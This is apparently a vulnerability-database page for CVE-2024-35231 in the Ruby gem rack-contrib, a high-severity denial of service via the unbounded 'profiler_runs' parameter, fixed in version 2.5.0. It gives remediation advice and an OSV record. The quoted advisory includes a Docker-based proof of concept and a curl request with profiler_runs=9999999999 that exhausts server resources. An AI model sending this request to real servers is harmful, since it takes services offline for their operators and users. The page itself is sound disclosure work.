Vulnerabilities in pkg:gem/rack-contrib

PACKAGE
Advisory Identifier: GHSA-8c8q-2xw3-j869
Advisory Summary

CVE-2024-35231 is a HIGH (CVSS 8.6) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Rack contrib libraries in the RubyGems ecosystem. The issue involves rack-contrib vulnerable to denial of service due to the unconstrained value of the incoming "profiler_runs" parameter. Remediation is available by upgrading affected packages to version 2.5.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:gem/rack-contrib

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:gem/rack-contrib. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-8c8q-2xw3-j869 CVE-2024-35231 HIGH rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter

CVE-2024-35231 at a Glance

CVE Identifier CVE-2024-35231
GHSA Identifier GHSA-8c8q-2xw3-j869
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Rack contrib
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2024-35231

To remediate this vulnerability, upgrade all affected Rack contrib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rack-contrib fixed: 2.5.0
Upgrade rack-contrib to 2.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rack-contrib

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-35231, inspect your project dependencies for Rack contrib:

inspect dependencies for rack-contrib

Analyze the terminal output to locate any version of Rack contrib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Rack contrib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770). ```ruby runs = (request.params['profiler_runs'] || @times).to_i result = @profile.profile do runs.times { @app.call(env) } end ``` An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value. ### PoC Herein the `config.ru` file: ```ruby require 'rack' require 'rack/contrib' use Rack::Profiler # if ENV['RACK_ENV'] == 'development' # Define a Rack application app = lambda do |env| # Your application logic goes here [200, {}, ["Hello World"]] end # Run the Rack application run app ``` A Dockerfile: ```Dockerfile # Use the official Ruby image as a base FROM ruby:latest # Set the working directory inside the container WORKDIR /app # Copy the custom config.ru file into the container COPY config.ru . COPY Gemfile . # Install rack and the gems needed to run the app RUN bundle install # Expose the port that rackup will listen on EXPOSE 9292 # Run rackup when the container starts ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"] # Health check HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1 ``` A Gemfile ``` source 'https://rubygems.org' gem 'rack', '~> 2.0' gem 'rack-contrib', '~> 2.4' gem 'rackup' gem 'ruby-prof' ``` A Docker compose ```Dockerfile services: app: build: context: . ports: - "9292:9292" ``` To run the PoC ```bash docker compose up --build ``` To exploit DoS: ```bash curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" ``` ### Impact - Potential denial of service by remotely user-controlled data.

CVE-2024-35231 Affected Rack contrib Versions

1 component(s)
Fixed Versions:
2.5.0
Product / Package Ecosystem Affected Versions Fixed Version
rack-contrib
RubyGems
< 2.5.0
2.5.0

References

Frequently Asked Questions

What is CVE-2024-35231?
CVE-2024-35231 is a security vulnerability in Rack contrib involving rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Rack contrib versions are affected?
Affected versions include releases prior to 2.5.0 across affected packages: rack-contrib.
What version fixes CVE-2024-35231?
Upgrading to 2.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rack-contrib affected?
Yes, rack-contrib is affected in releases prior to 2.5.0. Upgrade your dependency to 2.5.0 or later.
What is the CVSS score of CVE-2024-35231?
CVE-2024-35231 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H.
What CWE is associated with CVE-2024-35231?
CVE-2024-35231 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check RubyGems dependencies for CVE-2024-35231?
Run the dependency tree command: 'inspect dependencies for rack-contrib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8c8q-2xw3-j869",
  "modified" : "2024-05-31T20:42:29Z",
  "published" : "2024-05-28T15:48:43Z",
  "aliases" : [ "CVE-2024-35231" ],
  "summary" : "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter",
  "details" : "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params['profiler_runs'] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~> 2.0'\ngem 'rack-contrib', '~> 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "rack-contrib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-35231"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rack/rack-contrib"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-05-28T15:48:43Z",
    "nvd_published_at" : "2024-05-27T17:15:09Z"
  }
}